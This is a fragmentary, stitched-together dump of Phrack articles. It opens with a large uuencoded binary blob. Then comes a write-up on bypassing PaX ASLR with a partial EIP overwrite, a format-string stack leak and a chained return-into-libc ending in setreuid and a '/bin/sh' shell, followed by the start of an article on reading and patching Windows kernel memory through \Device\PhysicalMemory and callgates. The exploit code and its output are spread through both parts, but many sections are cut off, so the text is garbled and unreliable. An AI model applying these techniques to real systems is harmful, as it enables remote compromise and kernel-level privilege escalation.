M05>PKE>:3(B[=OZ-I#N];%YK_=%@V8-4(UB6?#0=C^+$2NH,VL?1@):!1!S#
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
B[_;O]N_V[_;O]N_V[_;O]N_V[_;O7^3O_P-))_I>`)`!````
`
end
==Phrack Inc.==
0. Introduction
a. What is PaX and what it does
b. Known attacks against old PaX implems
c. What changed since ret-into-dl-resolve()
2. ASLR weaknesses
a. EIP partial overwrite
b. Generating information leaks
5. The code
a. Sample target
b. ret-into-printf info leak code
[a] PaX, stands for PageEXec, is a linux kernel patch protection against
buffer overflow attacks . It is younger than Openwall (PaX has been
available for a year and a half now) and takes profit from the
processor lowlevel paging mechanism in order to detect injected code
execution . It also make return into libc exploits very hard to
accomplish . This patch is very easy to use and can be downloaded
on [1] , so as the tiny chpax tool used to configure PaX on a per
file basis .
[b] Some years ago, Nergals came with his return into plt technique
(ELF specific) allowing him to bypass the mmap() protection (implemented
in OpenWall [2] at this time) . The technique has been very well described
in a recent paper [3] and wont be developped again in this article .
[c] In the last months, the PaX team released et_dyn.zip, showing us how
to relink executable (ET_EXEC ELF objects) into ET_DYN objects, so that
the main object base address would also be randomized, and Nergal's
return-into-plt attack blocked .
If you dont care about PaX itself, please pass this paragraph and go read
paragraph 2 now :)
---------------------------------------
| | | |
---------------------------------------
^ ^ ^
| | |_____ Page offset (12 bits)
| |
| |_____ Page table entry index (10 bits)
|
|_______ Page directory entry index (10 bits)
If no extra options (like PSE or PAE) are actived, the processor handle a
3 level paging, using 2 intermediary tables called the page directory and
the page table .
08 + two high bits in the third nibble '0' : Page directory entry index
two low bits in the third nibble '0' + 48 : Page table entry index
12C (12 low bits) : Page offset
First, PaX hook your page fault handler . This is an routine executed
each time you have an access problem to a memory page . Linux pages are
all 4Ko on the platform we are interrested in . This fault can be due
to many reasons :
- Presence checking (not all 4Ko zone are mapped in memory at this
moment, some pages may be swapped for instance and we want to unswap
it)
- Supervisor check (the page has its supervisor bit set, only the kernel
can access it, normal behavior is to send SIGSEGV)
- Access mode check : try to write and not allowed, try to read and not
allowed, normal behaviour is send SIGSEGV .
- Other reasons described in [4] .
Since there is no dedicated bit on PDE (page directory entry) or PTE (page
table entry) to control page execution, the PaX code has to emulate it,
in order to detect inserted shellcode execution in the flow .
Consequences are quite directs : each time we access one of these pages,
the page fault handler is executed because the supervisor bit has been
detected during the linear-to-physical address translation (so called page
table walk) . PaX can control access to the page in its PF handling code .
[c] ASLR
#include <stdio.h>
#include <stdlib.h>
str = getenv("EGG");
printf("str = %p (%s) , envp = %p, argv = %p, delta = %u \n",
str, str, envp, argv, (u_int) str - (u_int) argv);
return (0);
}
<-->
bash$ ./a.out
str = 0xb7a2aece (/bin/sh) , envp = 0xb7a29bbc, argv = 0xb7a29bb4,
delta = 4890
bash$ ./a.out
str = 0xb9734ece (/bin/sh) , envp = 0xb973474c, argv = 0xb9734744,
delta = 1930
bash$ ./a.out
str = 0xba36cece (/bin/sh) , envp = 0xba36c73c, argv = 0xba36c734,
delta = 1946
bash$ chpax -v a.out
a.out: PAGE_EXEC is enabled, trampolines are not emulated, mprotect() is
restricted, mmap() base is randomized, ET_EXEC base is randomized
bash$
For obscure reasons linked to crt*.o PIC code, vm_areas framing the
remapped region have to share the same physical address than vm_areas
framing the original region but that's not important for the presented
attack .
The data PT_LOAD program header is not moved because the remapped code
may contains absolute references to it . This is a vulnerability because
it makes .got accessible in rw mode . We could for instance poison
the table using partial entry overwrite (overwriting only 1 or 2 bytes in
the entry) but this wont be discussed in the paper since this attack is
derived from [5] and would require similar conditions . Moreover, the
remapping option is time consuming and we prefer using full relinking .
bash$ /lib/libc.so.6
GNU C Library stable release version 2.2.3, by Roland McGrath et al.
(...)
Report bugs using the `glibcbug' script to <bugs@gnu.org>.
bash$
bash$ /usr/lib/libncurses.so
Segmentation fault
bash$
This relinking will result in all zone (code and data program header)
beeing mapped as shared libraries, with base address randomized using
the standard PaX mmap() mechanism . This is the protection we are going
to defeat .
[a] As we saw, page offset is 12 bits long . It means that a one byte
EIP overflow is not risky because we know that the modified return
address will still point in the same page, since the INTEL x86 architecture
is little endian . Partial overflows have not been studied much, except for
the alphanumeric shellcode purpose [6] and for fp overwriting [7] . Using
this technique we can replay or bypass part of the original code .
I'll ask you to have a look at this sample vulnerable code before saying
the whole technique :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define NL '\n'
#define CR '\r'
#define OKAY_PASS "evil"
#define FATAL(str) { perror(str); exit(-1); }
char pass[48];
int len;
bzero(filtered_pass, sizeof(filtered_pass));
if (!strcmp(filtered_pass, OKAY_PASS))
return (0);
return (-1);
}
<-->
Just replace the command line with your own path for the daemon, inform
inetd about it, and verify that it works well :
bash$ ./paxtestd
Password: toto
You loose !
bash$ ./paxtestd
Password: evil
Access granted .
bash$
For bored people who think that this code cant be found in the wild,
I would just argue that this work is proof of concept . Exploitation
conditions are generalized in paragraph 4 .
(...)
printf("Password: ");
fflush(stdout);
len = read(0, pass, sizeof(pass) - 1);
if (len <= 0)
FATAL("read");
pass[len] = 0;
if (!verify(pass))
{
(...)
More precisely:
(...)
8048595: 68 bc 86 04 08 push $0x80486bc
804859a: e8 5d fe ff ff call 80483fc <printf>
(...)
80485f4: e8 27 ff ff ff call 8048520 <verify>
80485f9: 83 c4 10 add $0x10,%esp
The 'call printf' and 'call verify' are cleary on the same page, we know
this because the 20 high bits of their respective linear address are the
same . It means that we are able to return on this instruction using a
one (or two) byte(s) eip overflow . If we think about the stack state,
we can see that printf() will be called with parameters already present
on the stack, i.e. the verify() parameters. If we control the first
parameter of this function, we can supply a random format string to the
printf function and generate a format bug, then call the vulnerable
function again, this way we hope resuming the problem to a standard
return into libc exploit, examining the remote process address space,
more precisely the remote stack, in particular return addresses.
Lets prepare a 37 byte long buffer (32 bytes buffer, 4 byte frame pointer,
and one low EIP byte) for the password input :
"%001$08u \x9a"
"%002$08u \x9a"
"%003$08u \x9a"
"%iii$08u \x9a"
These format strings will display the 'i'th unsigned integer from the
remote stack . Using this we can retreive interresting values using
leak.c given at the end if this paper .
For those who are not that familiar with format bugs, this will read
the i'th pushed parameter on the stack (iii$) and print it as an unsigned
integer (%u) on eight characters (8), padding with '0' char if needed .
Format strings are deeply explained in the printf(3) manpage .
Note that the 37th byte \x9a is the low byte in the 'call printf' linear
address . Since the caller is responsible for parameters popping, they
are still present on the stack when the verify function returns ('ret')
and when the new return address is pushed by the 'call printf' so that
the stack pointer is well synchronized .
bash-2.05$ ./runit
[RECEIVED FROM SERVER] *Password: *
Connected! Press ^C to launch : Starting remote stack retreiving ...
Remote stack :
00000000 08049820 0000002F 00000001
472ED57C 4728BE10 B9BDB84C 4727464F
080486B0 B9BDB8B4 472C6138 473A2A58
47281A90 B9BDB868 B9BDB888 472B42EB
00000001 B9BDB8B4 B9BDB8BC 0804868C
bash-2.05$
In this first example we read 80 bytes on the stack, reading 4 bytes per
4 bytes, replaying 20 times the overflow and provoking 20 times a format
bug, each time incrementing the 'iii' counter in the format string (see
below) .
[a] Let's understand better the execution flow using a debugger. This
is what we can see in the gdb debugging session for the vulnerable
daemon, at this moment waiting for its first input :
(gdb) bt
#0 0x400dff14 in __libc_read () at __libc_read:-1
#1 0x4012ca58 in __DTOR_END__ () from /lib/libc.so.6
#2 0x0804864f in main (argc=1, argv=0xbffffd54) at pax_daemon.c:26
#3 0x4003e2eb in __libc_start_main (main=0x8048634 <main>, argc=1,
ubp_av=0xbffffd54, init=0x8048374 <_init>,
fini=0x804868c <_fini>, rtld_fini=0x4000c130 <_dl_fini>,
stack_end=0xbffffd4c) at ../sysdeps/generic/libc-start.c:129
(gdb)
(gdb) bt
#0 0x4365ef14 in __libc_read () at __libc_read:-1
#1 0x436aba58 in __DTOR_END__ () from /lib/libc.so.6
#2 0x4357d64f in ?? ()
#3 0x435bd2eb in __libc_start_main (main=0x8048634 <main>, argc=1,
ubp_av=0xb5c36cf4, init=0x8048374 <_init>,
fini=0x804868c <_fini>, rtld_fini=0x4358b130 <_dl_fini>,
stack_end=0xb5c36cec) at ../sysdeps/generic/libc-start.c:129
(gdb)
As you can see, the symbol table is not synchronized anymore with the
memory dump so that we cant rely on the resolved names to debug . Note
that we will dispose of a correct symbol table in case the ET_EXEC binary
object has been relinked into a ET_DYN one, has explained in paragraph
1, part c .
[b] Using the exploit, here is what we can see if we examine the stack with
or without the ET_EXEC rand option :
bash$ ./runit
[RECEIVED FROM SERVER] *Password: *
Connected! Press ^C to launch : Starting remote stack retreiving ...
bash$ ./runit
(...)
As we want to do a return into libc, address pointing in the libc are the
most interresting . What we are looking for is the main() return address
pointing in the remapped instance of the __libc_start_main function, in
the .text section in the libc's address space .
00000000 (...)
08049820
0000002F
00000001
435F657C
43594E10
B5C36C8C do_auth frame pointer
4357D64F do_auth() return address
080486B0 do_auth parameter ('pass' ptr)
B5C36CF4
435CF138
436ABA58
4358AA90
B5C36CA8
B5C36CC8 main() frame pointer
435BD2EB main() return address
00000001 argc
B5C36CF4 argv
B5C36CFC envp
0804868C (...)
[c] Now let's look at the libc binary to know the relative address for
functions we are interrested in . For that we'll use the regex option
in ELFsh [9] :
[SYMBOL TABLE]
[4425] 0x750d0 strcpy type: Function size: 00032 bytes => .text
[4855] 0x48870 system type: Function size: 00730 bytes => .text
[5670] 0xc59b0 setreuid type: Function size: 00188 bytes => .text
[6126] 0x2efe0 exit type: Function size: 00248 bytes => .text
[SYMBOL TABLE]
[6218] 0x1d230 __libc_start_main type: Function size: 00193 bytes => .text
bash$
0001d230 <__libc_start_main>:
1d230: 55 push %ebp
1d231: 89 e5 mov %esp,%ebp
1d233: 83 ec 0c sub $0xc,%esp
(...)
1d2e6: 8b 55 08 mov 0x8(%ebp),%edx
1d2e9: ff d2 call *%edx
1d2eb: 50 push %eax
1d2ec: e8 9f f9 ff ff call 1cc90 <GLIBC_2.0+0x1cc90>
(...)
Instructions following this last 'call 1cc90' are 'nop nop nop nop', just
headed by the 'Letext' symbol, but thats not interresting for us .
We know from the 'bt' output (see above) that the main address is the
first __libc_start_main() parameter . Since this function has a frame
pointer, we deduce that 8(%ebp) contains the main() absolute address .
The __libc_start_main function clearly does an indirect call through
%edx on it (see the last 3 instructions) :
We deduce that the return address we read in the process stack points
on the intruction at file offset 1d2eb :
We needs some more offsets to perform a chained return into libc and
insert NUL bytes as explained in Nergal's paper :
do_auth fp + 28 = B5C36CC8 + 1C
= B5C36CE4
bash$
- A 'pop ret' and 'pop pop ret' sequences somewhere in the code, in
order to do %esp lifting (we will find many ones in libc's .text)
(...)
2c519: 5a pop %edx
2c51a: c3 ret
(...)
(...)
4ce25: 5e pop %esi
4ce26: 5f pop %edi
4ce27: c3 ret
(...)
Note: be careful and check if the addresses are contiguous for the
3 intructions because the regex I use it not perfect for this last
test .
Here is how you have to fill the stack in the final overflow (each case is
4 bytes lenght, the first dword is the return address of the vulnerable
function) :
0: | strcpy addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 |
16: | strcpy addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 |
32: | strcpy addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 |
48: | strcpy addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 |
64: | setreuid addr | 'pop; ret' addr |setreuid argv1| system addr |
80: | exit addr | "/bin/sh" addr | ??? DONT ??? | ??? CARE ??? |
The attack suffers from many known limitations as you will see .
Not all overflows can be exploited like this . memcpy() and strncpy()
overflows are vulnerable, so as byte-per-byte overflows . Overflow
involving functions whoose behavior is to append a NUL byte are not
vulnerable, except if we can find a 'call printf' instruction
whoose absolute address low byte is NUL .
We will not crash the process if we try to read some unmapped process
area . From the send(3) manual page :
ERRORS
(...)
EBADF An invalid descriptor was specified.
The technique also suffers from the same limitation than klog's fp
overwriting [7] .
If the frame pointer register (%ebp) is used between the 'call printf' and
the 'call vuln_func', the program will crash and we wont be able
to call vuln_func() again . Programs like:
printf("Password: ");
fflush(stdout);
len = read(0, pass, sizeof(pass) - 1);
if (len <= 0)
FATAL("read");
pass[len] = 0;
if (!verify(pass))
(...)
are not exploitable using a return into libc because 'len' will be indexed
through %ebp after the read() returns . If the program is compiled without
frame pointer, such a limitation does not exist .
I would like to sincerely congratulate the PaX team because they own me
(who's the ingratefull pig ? ;) and because they've done the best work I
have ever seen in this field since Openwall . Thanks go to theowl, klog,
MaXX, Nergal, kalou and korty for discussions we had on this issue .
Special thanks go to devhell labs 0 : - ] Shoutouts to #fr people (dont
feed the troll) . May you all guyz pray for peace .
#define BUF_SIZ 37
#define FMT "%%%03u$08u \x9a"
#define RETREIVED_STACKSIZE 20
u_int remote_stack[RETREIVED_STACKSIZE];
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT_NUM);
addr.sin_addr.s_addr = inet_addr(SERVER_IP);
signal(SIGINT, sigint_handler);
printf("Connected! Press ^C to launch : ");
fflush(stdout);
pause();
return (0);
}
<-->
SRC1 = pax_daemon.c
OBJ1 = pax_daemon.o
NAM1 = paxtestd
SRC2 = leak.c
OBJ2 = leak.o
NAM2 = runit
CC = gcc
CFLAGS = -Wall -g3 #-fomit-frame-pointer
OPT = $(CFLAGS)
DUMP = objdump -d --section='.text'
DUMP2 = objdump --syms
GREP = grep
DUMPLOG = $(NAM1).asm
CHPAX = chpax -X
vuln : $(OBJ1)
$(CC) $(OPT) $(OBJ1) -o $(NAM1)
@echo ""
$(CHPAX) $(NAM1)
$(DUMP) $(NAM1) > $(DUMPLOG)
@echo ""
@echo "Try to locate 'call printf' ;) 5th call above 'call verify'"
@echo ""
$(GREP) "_init\|verify" $(DUMPLOG) | $(GREP) 'call'
@echo ""
$(DUMP2) $(NAM1) | grep printf
@echo ""
leak : $(OBJ2)
$(CC) $(OPT) $(OBJ2) -o $(NAM2)
clean :
rm -f *.o *\# \#* *~
fclean : clean
rm -f $(NAM1) $(NAM2)
<-->
-------[ 6. References
==Phrack Inc.==
1 - Introduction
3 - Introduction to \Device\PhysicalMemory
3.1 The object
3.2 Need writing access ?
5 - Sample code
5.1 kmem.h
5.2 chmod_mem.c
5.3 winkdump.c
5.2 winkps.c
5.4 fun_with_ipd.c
6 - Conclusion
7 - References
--[ 1 - Introduction
According to Microsoft, the object manager was designed to meet these goals
* use named object for easy recognition
* support POSIX subsystem
* provide a easy way for manipulating system resources
* provide a charge mechanism to limit resource used by a process
* be C2 security compliant :) (C2: Controlled Access Protection)
Most of these names are explicit enough to understand what's they are
about. I will just explain some obscure names:
* an EventPair is just a couple of 2 Event objects.
* a Mutant also called Mutex is a synchronization mechanism for resource
access.
* a Port is used by the LPC (Local Procedure Call) for Inter-Processus
Communication.
* a Section (file mapping) is a region of shared memory.
* a Semaphore is a counter that limit access to a resource.
* a Token (Access Token) is the security profile of an object.
* a WindowStation is a container object for desktop objects.
Objects are organised into a directory structure which looks like this:
- \
- ArcName (symbolic links to harddisk partitions)
- NLS (sections ...)
- Driver (installed drivers)
- WmiGuid
- Device (/dev linux like)
- DmControl
- RawDmVolumes
- HarddiskDmVolumes
- PhysicalDmVolumes
- Windows
- WindowStations
- RPC Control
- BaseNamedObjects
- Restricted
- ?? (current user directory)
- FileSystem (information about installable files system)
- ObjectTypes (contains all avaible object types)
- Security
- Callback
- KnownDlls (Contains sections of most used DLL)
The "??" directory is the directory for the current user and "Device" could
be assimiled as the "/dev" directory on Linux. You can explore these
structures using WinObj downloadable on Sysinternals web sites (see [1]).
Each object is composed of 2 parts: the object header and the object body.
Sven B. Schreiber defined most of the non-documented header related
structures in his book "Windows 2000 Undocumented Secrets". Let's see the
header structure.
---
from w2k_def.h:
typedef struct _OBJECT_HEADER {
/*000*/ DWORD PointerCount; // number of references
/*004*/ DWORD HandleCount; // number of open handles
/*008*/ POBJECT_TYPE ObjectType; // pointer to object type struct
/*00C*/ BYTE NameOffset; // OBJECT_NAME offset
/*00D*/ BYTE HandleDBOffset; // OBJECT_HANDLE_DB offset
/*00E*/ BYTE QuotaChargesOffset; // OBJECT_QUOTA_CHARGES offset
/*00F*/ BYTE ObjectFlags; // OB_FLAG_*
/*010*/ union
{ // OB_FLAG_CREATE_INFO ? ObjectCreateInfo : QuotaBlock
/*010*/ PQUOTA_BLOCK QuotaBlock;
/*010*/ POBJECT_CREATE_INFO ObjectCreateInfo;
};
/*014*/ PSECURITY_DESCRIPTOR SecurityDescriptor;
/*018*/ } OBJECT_HEADER, *POBJECT_HEADER;
---
Each offset in the header are negative offset so if you want to find the
OBJECT_NAME structure from the header structure, you calculate it by doing:
address = object_header_address - name_offset
Each object type have internal routines quite similar to C++ object
constructors and destructors:
* dump method - maybe for debugging purpose (always NULL)
* open method - called when an object handle is opened
* close method - called when an object handle is closed
* delete method - called when an object is deleted
* parse method - called when searching an object in a list of
object
* security method - called when reading/writing a protection for the
current object
* query name method - called when a thread request the name of the
object
* "ok to close" - called when a thread is closing a handle
(By the way you will only see such functions if you have win2k symbols
downloadable on Microsoft DDK web site (see [2]) and disassemblingbwith a
disassembler supporting Windows Symbols files like IDA/kd/Softicevbecause
these functions are not exported.)
Each function's name begining with "Ob" is related to the Object Manager.
So basically, a standart developper don't have to deal with object but we
want to.
All the object manager related function for user-mode are exported by
ntdll.dll. Here are some examples:
NtCreateDirectoryObject, NtCreateSymbolicLinkObject, NtDuplicateObject,
NtMakeTemporaryObject, NtOpenDirectoryObject, ...
Some of these functions are documented in the MSDN some (most ?) are not.
If you really want to understand the way object works you should better
take a look at the exported function of ntoskrnl.exe beginning with "Ob".
21 functions exported and 6 documented =]
If you want the prototypes of the 15 others, go on the ntifs.h home page
(see [3]) or to chapeaux-noirs web site (see [4]).
The basic object parser from kd (kernel debugger) tells us some information
about it. No need to explain all of these field means, most of them are
explicit enough if you have readen the article from the beginning if not
"jmp dword Introduction_to_Windows_Objects".
Ok the interesting thing is that it's a Section type object so that
clearly mean that we are going to deal with some memory related toy.
details:
--> 00000003 : PointerCount = 3
--> 00000000 : HandleCount = 0
--> fd038880 : pointer to object type = 0xfd038880
--> 12200010 --> 10 : NameOffset
--> 00 : HandleDBOffset
--> 20 : QuotaChargeOffset
--> 12 : ObjectFlags = OB_FLAG_PERMANENT & OB_FLAG_KERNEL_MODE
--> 00000001 : QuotaBlock
--> e1008bf8 : SecurityDescriptor
Ok the NameOffset exists, well no surprise, this object has a name .. but
the HandleDBOffset don't. That means that the object doesnt track handle
assigned to it. The QuotaChargeOffset isn't really interesting and the
ObjectFlags tell us that this object is permanent and has been created by
the kernel.
For now nothing very interesting ...
We dump the object's name structure just to be sure we are not going the
wrong way :). (Remember that offset are negative).
kd> dd e1001228-10 L3
dd e1001228-10 L3
e1001218 fd038970 001c001c e1008ae8
kd> du e1008ae8
du e1008ae8
e1008ae8 "PhysicalMemory"
->Sacl : is NULL
In other words that means that the \Device\PhysicalMemory object has this
following rights:
After having run chmod_mem.exe we dump another time the security descriptor
of \Device\PhysicalMemory.
->Sacl : is NULL
Our main problem for now is how to translate the virtual address to a
physical address. We know that in kernel-mode (ring0), there is a function
called MmGetPhysicalAddress exported by ntoskrnl.exe which do that.
But we are in ring3 so we have to "emulate" such function.
---
from ntddk.h
PHYSICAL_ADDRESS MmGetPhysicalAddress(void *BaseAddress);
---
The low part of the quad-word is passed in eax and the high part in edx.
For virtual to physical address translation we have 2 cases:
The problem with the addresses outside the [0x80000000, 0xA0000000] is that
they can't be guessed with a very good sucess rate.
That's why if you want good results you would rather call the real
MmGetPhysicalAddress(). We will see how to do that in few chapter.
After some tests using winkdump i realised that in fact there is another
problem in our *good* range :>. When translating virtual address above
0x877ef000 the physical address is getting above 0x00000000077e0000.
And on my system this is not *possible*:
kd> dd MmHighestPhysicalPage l1
dd MmHighestPhysicalPage l1
8046a04c 000077ef
kd> ? KeServiceDescriptorTable
? KeServiceDescriptorTable
Evaluate expression: -2142852224 = 8046ab80
C:\coding\phrack\winkdump\Release>winkdump.exe 0x8046ab80 16
*** win2k memory dumper using \Device\PhysicalMemory ***
d8 04 47 80 00 00 00 00 f8 00 00 00 bc 08 47 80 | ..G...........G.
Array of pointers to syscalls: 0x804704d8 (symbol KiServiceTable)
Counter table : NULL
ServiceLimit : 248 (0xf8) syscalls
Argument table : 0x804708bc (symbol KiArgumentTable)
We are not going to dump the 248 syscalls addresses but just take a look at
some:
C:\coding\phrack\winkdump\Release>winkdump.exe 0x804704d8 12
*** win2k memory dumper using \Device\PhysicalMemory ***
bf b3 4a 80 6b e8 4a 80 f3 de 4b 80 | ..J.k.J...K.
* 0x804ab3bf (NtAcceptConnectPort)
* 0x804ae86b (NtAccessCheck)
* 0x804bdef3 (NtAccessCheckAndAuditAlarm)
In the next section we will see what are callgates and how we can use them
with \Device\PhysicalMemory to fix problems like our address translation
thing.
The function executed in ring0 MUST clean its stack once it has finished
executing, that's why we are going to use __declspec(naked) (MS VC++ 6)
when defining the function in our code (similar to __attribute__(stdcall)
for GCC).
---
from MSDN:
__declspec( naked ) declarator
For functions declared with the naked attribute, the compiler generates
code without prolog and epilog code. You can use this feature to write your
own prolog/epilog code using inline assembler code.
---
Their names are explicits enough i think :). So if you want to install a
callgate, first allocate a GDT selector with KeI386AllocateGdtSelectors(),
